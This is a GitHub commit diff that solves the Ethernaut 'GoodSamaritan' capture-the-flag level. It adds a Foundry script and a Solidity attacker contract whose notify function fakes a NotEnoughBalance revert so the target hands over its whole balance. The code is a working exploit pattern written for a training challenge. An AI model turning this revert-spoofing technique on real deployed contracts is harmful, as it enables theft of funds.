complete 27-GoodSamaritan

tannerang · Jan 20, 2024 · 20324be · 20324be
1 parent 1bb7702
commit 20324be
Show file tree

Hide file tree

Showing 2 changed files with 30 additions and 2 deletions.
diff --git a/script/solutions/27-GoodSamaritan.s.sol b/script/solutions/27-GoodSamaritan.s.sol
@@ -5,6 +5,7 @@ import {Script, console2} from "forge-std/Script.sol";
 import {EthernautHelper} from "../setup/EthernautHelper.sol";
 
 // NOTE You can import your helper contracts & create interfaces here
+import "../../src/27-GoodSamaritanAttacker.sol";
 
 contract GoodSamaritanSolution is Script, EthernautHelper {
     address constant LEVEL_ADDRESS = 0x36E92B2751F260D6a4749d7CA58247E7f8198284;
@@ -16,8 +17,8 @@ contract GoodSamaritanSolution is Script, EthernautHelper {
         address challengeInstance = createInstance(LEVEL_ADDRESS);
 
         // YOUR SOLUTION HERE
-
-
+        GoodSamaritanAttacker goodSamaritanAttacker = new GoodSamaritanAttacker(challengeInstance);
+        goodSamaritanAttacker.attack();
 
         // SUBMIT CHALLENGE. (DON'T EDIT)
         bool levelSuccess = submitInstance(challengeInstance);

diff --git a/src/27-GoodSamaritanAttacker.sol b/src/27-GoodSamaritanAttacker.sol
@@ -0,0 +1,27 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.21;
+
+interface IGoodSamaritan {
+    function requestDonation() external returns(bool enoughBalance);
+}
+
+contract GoodSamaritanAttacker {
+    address public challengeInstance;
+    error NotEnoughBalance();
+
+    constructor(address _challengeInstance) {
+        challengeInstance = _challengeInstance;
+    }
+
+    function attack() external {
+        IGoodSamaritan(challengeInstance).requestDonation();
+    }
+
+    function notify(uint256 amount_) external {
+        if (amount_ == 10) {
+            revert NotEnoughBalance();
+        } else {
+            true;
+        }
+    }
+}